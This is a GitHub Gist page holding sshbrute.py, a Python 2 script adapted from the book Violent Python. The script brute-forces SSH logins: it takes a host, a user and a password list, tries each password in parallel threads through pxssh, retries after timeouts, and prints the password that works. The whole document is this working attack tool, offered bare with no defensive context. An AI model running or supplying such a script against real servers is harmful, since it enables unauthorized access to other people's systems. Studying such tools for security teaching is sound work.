Created
April 18, 2016 14:44
-
-
Save mgeeky/70606be7249a61ac26b34b1ef3b07553 to your computer and use it in GitHub Desktop.
sshbrute.py - ripped out from Violent Python - by TJ O'Connor
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# | |
# Pxssh driven SSH brute-forcing script. | |
# Based on: | |
# Violent Python, by TJ O'Connor | |
# | |
import pxssh | |
import time | |
import optparse | |
from sys import argv, exit, stdout | |
from threading import * | |
MAX_CONNS = 5 | |
CONN_LOCK = BoundedSemaphore(value=MAX_CONNS) | |
FOUND = False | |
FAILS = 0 | |
def send_command(s, cmd): | |
s.sendline(cmd) | |
s.prompt() | |
print s.before | |
def connect(host, user, password, release): | |
global FOUND | |
global FAILS | |
try: | |
s = pxssh.pxssh() | |
s.login(host, user, password) | |
print '\n\n[+] Password found: ' + password + '\n\n' | |
FOUND = True | |
return s | |
except Exception, e: | |
if 'read_nonblocking' in str(e): | |
FAILS += 1 | |
time.sleep(3) | |
connect(host, user, password, False) | |
elif 'synchronize with original prompt' in str(e): | |
time.sleep(1) | |
connect(host, user, password, False) | |
finally: | |
if release: | |
CONN_LOCK.release() | |
def main(): | |
if len(argv) < 4: | |
print 'Usage: sshbrute.py host user passwords_list' | |
return | |
host = argv[1] | |
user = argv[2] | |
passwords = [ p.strip() for p in open(argv[3]).readlines()] | |
i = 0 | |
for p in passwords: | |
i += 1 | |
if FOUND: | |
print '[*] Password found.' | |
exit(0) | |
if FAILS > 5: | |
print '[!] Exiting: Too many socket timeouts' | |
exit(0) | |
CONN_LOCK.acquire() | |
stdout.write('[?] Trying: "%s" %d/%d (%.2f%%)\r' % \ | |
(p, i, len(passwords), float(i)/len(passwords))) | |
stdout.flush() | |
t = Thread(target=connect, args=(host, user, p, True)) | |
t.start() | |
stdout.write('\n') | |
if __name__ == '__main__': | |
main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment